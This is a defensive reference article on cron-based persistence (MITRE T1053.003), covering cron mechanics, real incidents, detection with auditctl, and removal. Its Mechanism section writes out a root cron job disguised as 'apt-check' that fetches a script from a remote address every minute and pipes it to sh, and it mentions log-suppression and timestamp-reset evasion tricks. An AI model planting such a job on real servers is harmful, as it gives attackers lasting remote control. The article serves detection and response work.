Scheduled task persistence
| Class | Persistence |
|---|---|
| Also known as | Cron persistence, cron backdoor |
| MITRE ATT&CK | T1053.003 Scheduled Task/Job: Cron |
| Typical severity | Critical |
| Affects | Linux, macOS and ESXi hosts that run the cron scheduler, including containers where an attacker installs it |
An attacker who can already run commands on a server can hand the work of coming back to the server itself. One added cron job job makes the system run the attacker's code at a fixed interval or after every restart; this is scheduled task persistence. A typical job downloads a script from the attacker's server every minute and runs it. Any file that was deleted comes back on the next run, and the attacker keeps access after the first weakness is fixed.
Description
Cron is the time-based job scheduler of Unix-like systems.1 Its daemon reads schedules from three places: the system file /etc/crontab, the directory /etc/cron.d/, and one file per user in /var/spool/cron/crontabs on Ubuntu. Every minute it checks each entry against the current time, and it reloads a schedule file when the file changes, with no restart needed.2
Each line holds five time fields (minute, hour, day of month, month, day of week), then the command. Lines in /etc/crontab and /etc/cron.d/ carry a user name between the two, and the command runs as that user; a user's own file runs as its owner. An asterisk means every value, */5 means every fifth value, and the special string @reboot runs the command once after each restart. The command is run by /bin/sh unless the file sets another shell.3
Other schedulers are used the same way: at, Windows Scheduled Task, systemd timers and container orchestration jobs.1 A systemd timer starts a service of the same name on a calendar schedule, so foo.timer starts foo.service.4
Mechanism
The attacker first needs a way to run commands, such as a Command injection flaw, a stolen login or an exposed Docker API. With root rights, one file in /etc/cron.d/ is enough:
# /etc/cron.d/apt-check
* * * * * root curl -fsSL http://203.0.113.10/u.sh | shThe script at that address can change between runs, so the attacker can send new commands to the server without logging in again. Without root, the attacker adds a line to their own user's crontab instead, which is what the Exaramel backdoor does when it lacks root rights.1 The Gentlemen ransomware added its job in one command, piping @reboot sleep 60 && /bin/.vmware-authd into crontab -.1
Some details help a job go unnoticed. In a crontab owned by root, an entry that starts with a - character stops cron from writing a syslog message each time the command runs.3 In one recorded campaign, the attacker changed an existing cron script to add an SSH key to root's authorized keys and then reset the file's modification time so the script looked unchanged.1
Impact
The job runs with the rights of its user, and a job in /etc/cron.d/ can name root as that user. Removing the malware, killing its process or patching the original flaw leaves the job in place, and the next run downloads and starts the code again. Because cron reloads changed files on its own, the job takes effect within a minute of being written.2
Notable incidents
In April 2024 attackers exploited CVE-2024-3400, a command injection flaw in the GlobalProtect feature of Palo Alto Networks PAN-OS firewalls with a CVSS score of 10.0, which let an unauthenticated attacker run code as root on the firewall. In the activity Unit 42 named Operation MidnightEclipse, the attacker failed three times to install a Python backdoor, then created a cron job that ran every minute, fetched commands from the address 172.233.228.93 and piped them into bash. Unit 42 could not retrieve the commands served from that address.5
In April 2020 Aqua Security reported that the Kinsing campaign had started Ubuntu containers through open Docker API ports, installed cron in them and added a crontab entry that downloaded and ran its shell script every minute. The same script removed cron jobs left by rival malware.6 See Cryptojacking.
Detection
Read every place cron loads jobs from, and the crontab of root and of each user with a login shell:7
sudo cat /etc/crontab
sudo ls -la /etc/cron.d/ /var/spool/cron/crontabs/
sudo crontab -l -u rootLook closer at any job that downloads and runs a script, starts a file with a hidden or unfamiliar name, or runs every minute. In process and file logs, the signs are cron entries written by non-root users or by unusual parent processes, followed by uncommon programs starting at regular intervals.1 Review changes to the cron schedule, and the cron lines in the logs under /var/log, as a routine task.1
The Linux audit system can record each write to the cron directories. A watch with -p wa records writes and attribute changes, and the -k key lets ausearch find the events later; the manual notes that watches slow the system.8
sudo auditctl -w /etc/cron.d -p wa -k cron
sudo auditctl -w /var/spool/cron -p wa -k cron
sudo ausearch -k cronPrevention and removal
A job that nobody on the team added is a sign that the server was entered, so deleting the line is the start of the response and the original way in still has to be found. crontab -r -u followed by the user name removes that user's whole crontab; a file in /etc/cron.d/ is deleted like any other file.7
The file /etc/cron.allow limits who may use the crontab command: when it exists, only listed users may.7 The manual states that it does not stop jobs already installed, which keep running until the crontab is removed.7 Cron files must not be writable by anyone but their owner.3 Running services as ordinary users, in line with Principle of least privilege, keeps a flaw in one service from writing to /etc/cron.d/.
Prompt for a coding agent
On this server, list every cron job: the contents of /etc/crontab, every file in /etc/cron.d/, and the crontab of root and of each user with a login shell (sudo crontab -l -u USER). For each job print the file, the user it runs as, the schedule and the command, and the file's owner, permissions and modification time. Mark jobs that download and run a script, run every minute, use @reboot or point to a hidden or unfamiliar file. Do not change or delete anything.
In SecFlash
SecFlash reports a cron file that was added or changed as SF-DET-201, and a systemd timer that was added, changed or switched on as SF-DET-203, on the Detections page. A change to /etc/crontab or /etc/cron.d/ also counts toward SF-SRV-701, changed system files, on the Server page.
See also
- SSH authorized key persistence
- Rogue administrator account
- Responding to an unrecognised server login
- Cryptojacking
- Securing a Docker application on a self-managed server
- Category: Persistence
References
- a b c d e f g MITRE (version 1.3, 24 October 2025). "Scheduled Task/Job: Cron, Sub-technique T1053.003". MITRE ATT&CK.
- a b Ubuntu (n.d.). "cron(8)". Ubuntu manpages.
- a b c cronie (n.d.). "crontab(5)". Linux manual pages, man7.org.
- back systemd (n.d.). "systemd.timer(5)". Linux manual pages, man7.org.
- back Unit 42 (12 April 2024, updated 3 May 2024). "Threat Brief: Operation MidnightEclipse, Post-Exploitation Activity Related to CVE-2024-3400". Palo Alto Networks.
- back Singer, Gal (3 April 2020). "Threat Alert: Kinsing Malware Attacks Targeting Container Environments". Aqua Security.
- a b c d Ubuntu (n.d.). "crontab(1)". Ubuntu manpages.
- back audit (n.d.). "auditctl(8)". Linux manual pages, man7.org.
External links
- Scheduled Task/Job, Technique T1053, MITRE ATT&CK